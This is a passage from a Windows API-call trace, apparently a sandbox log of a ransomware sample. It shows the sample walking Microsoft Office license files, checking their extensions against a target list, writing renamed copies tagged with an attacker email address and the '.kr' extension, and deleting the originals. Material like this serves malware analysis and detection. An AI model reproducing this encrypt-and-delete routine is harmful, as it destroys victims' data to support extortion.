3 [0201.147] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString=".dbf") returned 4 [0201.147] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString=".1cd") returned 4 [0201.147] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString=".jpg") returned 4 [0201.147] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.148] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.148] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26 [0201.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.148] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11155) returned 1 [0201.148] CloseHandle (hObject=0x568) returned 1 [0201.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220 [0201.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.149] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.149] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.149] GetLastError () returned 0x0 [0201.149] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2b93, lpOverlapped=0x0) returned 1 [0201.151] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0201.152] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.152] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x108, lpOverlapped=0x0) returned 1 [0201.152] SetEndOfFile (hFile=0x55c) returned 1 [0201.153] CloseHandle (hObject=0x55c) returned 1 [0201.153] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.153] SetEndOfFile (hFile=0x568) returned 1 [0201.155] CloseHandle (hObject=0x568) returned 1 [0201.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1 [0201.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.156] lstrlenW (lpString=".doc") returned 4 [0201.157] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".docx") returned 5 [0201.157] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.157] lstrlenW (lpString=".pdf") returned 4 [0201.157] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".xls") returned 4 [0201.157] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".xlsx") returned 5 [0201.157] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.157] lstrlenW (lpString=".ppt") returned 4 [0201.157] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString=".zip") returned 4 [0201.157] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".rar") returned 4 [0201.157] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".bz2") returned 4 [0201.157] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".7z") returned 3 [0201.157] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString=".dbf") returned 4 [0201.157] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString=".1cd") returned 4 [0201.157] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString=".jpg") returned 4 [0201.157] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.157] lstrlenW (lpString=".doc") returned 4 [0201.157] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.157] lstrlenW (lpString=".docx") returned 5 [0201.158] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.158] lstrlenW (lpString=".pdf") returned 4 [0201.158] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString=".xls") returned 4 [0201.158] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString=".xlsx") returned 5 [0201.158] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.158] lstrlenW (lpString=".ppt") returned 4 [0201.158] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.158] lstrlenW (lpString=".zip") returned 4 [0201.158] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString=".rar") returned 4 [0201.158] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString=".bz2") returned 4 [0201.158] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString=".7z") returned 3 [0201.158] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.158] lstrlenW (lpString=".dbf") returned 4 [0201.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.158] lstrlenW (lpString=".1cd") returned 4 [0201.158] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0201.158] lstrlenW (lpString=".jpg") returned 4 [0201.158] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.158] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.158] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27 [0201.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.159] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=26526) returned 1 [0201.159] CloseHandle (hObject=0x568) returned 1 [0201.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220 [0201.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.160] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.160] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.161] GetLastError () returned 0x0 [0201.161] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x679e, lpOverlapped=0x0) returned 1 [0201.163] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x67a0, lpOverlapped=0x0) returned 1 [0201.164] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.165] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0201.165] SetEndOfFile (hFile=0x55c) returned 1 [0201.165] CloseHandle (hObject=0x55c) returned 1 [0201.165] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.165] SetEndOfFile (hFile=0x568) returned 1 [0201.168] CloseHandle (hObject=0x568) returned 1 [0201.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1 [0201.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.169] lstrlenW (lpString=".doc") returned 4 [0201.169] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.169] lstrlenW (lpString=".docx") returned 5 [0201.169] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.169] lstrlenW (lpString=".pdf") returned 4 [0201.169] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".xls") returned 4 [0201.170] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".xlsx") returned 5 [0201.170] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.170] lstrlenW (lpString=".ppt") returned 4 [0201.170] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString=".zip") returned 4 [0201.170] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".rar") returned 4 [0201.170] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".bz2") returned 4 [0201.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".7z") returned 3 [0201.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString=".dbf") returned 4 [0201.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString=".1cd") returned 4 [0201.170] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString=".jpg") returned 4 [0201.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.170] lstrlenW (lpString=".doc") returned 4 [0201.170] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".docx") returned 5 [0201.170] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.170] lstrlenW (lpString=".pdf") returned 4 [0201.170] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.170] lstrlenW (lpString=".xls") returned 4 [0201.170] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString=".xlsx") returned 5 [0201.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.171] lstrlenW (lpString=".ppt") returned 4 [0201.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.171] lstrlenW (lpString=".zip") returned 4 [0201.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString=".rar") returned 4 [0201.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString=".bz2") returned 4 [0201.171] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString=".7z") returned 3 [0201.171] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.171] lstrlenW (lpString=".dbf") returned 4 [0201.171] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.171] lstrlenW (lpString=".1cd") returned 4 [0201.171] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0201.171] lstrlenW (lpString=".jpg") returned 4 [0201.171] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.171] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.171] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30 [0201.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.172] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11600) returned 1 [0201.172] CloseHandle (hObject=0x568) returned 1 [0201.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0201.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.555] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.555] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.556] GetLastError () returned 0x0 [0201.556] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d50, lpOverlapped=0x0) returned 1 [0201.557] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0201.558] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.559] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0201.559] SetEndOfFile (hFile=0x550) returned 1 [0201.559] CloseHandle (hObject=0x550) returned 1 [0201.559] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.559] SetEndOfFile (hFile=0x538) returned 1 [0201.562] CloseHandle (hObject=0x538) returned 1 [0201.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1 [0201.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.563] lstrlenW (lpString=".doc") returned 4 [0201.563] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".docx") returned 5 [0201.564] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.564] lstrlenW (lpString=".pdf") returned 4 [0201.564] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".xls") returned 4 [0201.564] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".xlsx") returned 5 [0201.564] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.564] lstrlenW (lpString=".ppt") returned 4 [0201.564] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString=".zip") returned 4 [0201.564] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".rar") returned 4 [0201.564] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".bz2") returned 4 [0201.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".7z") returned 3 [0201.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString=".dbf") returned 4 [0201.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString=".1cd") returned 4 [0201.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString=".jpg") returned 4 [0201.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.564] lstrlenW (lpString=".doc") returned 4 [0201.564] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.564] lstrlenW (lpString=".docx") returned 5 [0201.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.565] lstrlenW (lpString=".pdf") returned 4 [0201.565] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString=".xls") returned 4 [0201.565] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString=".xlsx") returned 5 [0201.565] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.565] lstrlenW (lpString=".ppt") returned 4 [0201.565] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.565] lstrlenW 